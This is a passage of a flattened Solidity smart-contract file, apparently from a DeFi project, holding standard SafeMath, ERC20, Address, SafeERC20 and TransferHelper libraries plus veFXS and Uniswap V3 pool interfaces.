function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File contracts/Math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File contracts/Common/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/Utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory __name, string memory __symbol) public {
_name = __name;
_symbol = __symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.approve(address spender, uint256 amount)
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for `accounts`'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal virtual {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of `from`'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/Curve/IveFXS.sol
pragma abicoder v2;
interface IveFXS {
struct LockedBalance {
int128 amount;
uint256 end;
}
function commit_transfer_ownership(address addr) external;
function apply_transfer_ownership() external;
function commit_smart_wallet_checker(address addr) external;
function apply_smart_wallet_checker() external;
function toggleEmergencyUnlock() external;
function recoverERC20(address token_addr, uint256 amount) external;
function get_last_user_slope(address addr) external view returns (int128);
function user_point_history__ts(address _addr, uint256 _idx) external view returns (uint256);
function locked__end(address _addr) external view returns (uint256);
function checkpoint() external;
function deposit_for(address _addr, uint256 _value) external;
function create_lock(uint256 _value, uint256 _unlock_time) external;
function increase_amount(uint256 _value) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
function balanceOf(address addr) external view returns (uint256);
function balanceOf(address addr, uint256 _t) external view returns (uint256);
function balanceOfAt(address addr, uint256 _block) external view returns (uint256);
function totalSupply() external view returns (uint256);
function totalSupply(uint256 t) external view returns (uint256);
function totalSupplyAt(uint256 _block) external view returns (uint256);
function totalFXSSupply() external view returns (uint256);
function totalFXSSupplyAt(uint256 _block) external view returns (uint256);
function changeController(address _newController) external;
function token() external view returns (address);
function supply() external view returns (uint256);
function locked(address addr) external view returns (LockedBalance memory);
function epoch() external view returns (uint256);
function point_history(uint256 arg0) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt);
function user_point_history(address arg0, uint256 arg1) external view returns (int128 bias, int128 slope, uint256 ts, uint256 blk, uint256 fxs_amt);
function user_point_epoch(address arg0) external view returns (uint256);
function slope_changes(uint256 arg0) external view returns (int128);
function controller() external view returns (address);
function transfersEnabled() external view returns (bool);
function emergencyUnlockActive() external view returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function version() external view returns (string memory);
function decimals() external view returns (uint256);
function future_smart_wallet_checker() external view returns (address);
function smart_wallet_checker() external view returns (address);
function admin() external view returns (address);
function future_admin() external view returns (address);
}
// File contracts/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/Uniswap/TransferHelper.sol
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolImmutables.sol
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// File contracts/Uniswap_V3/pool/IUniswapV3PoolState.sol
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
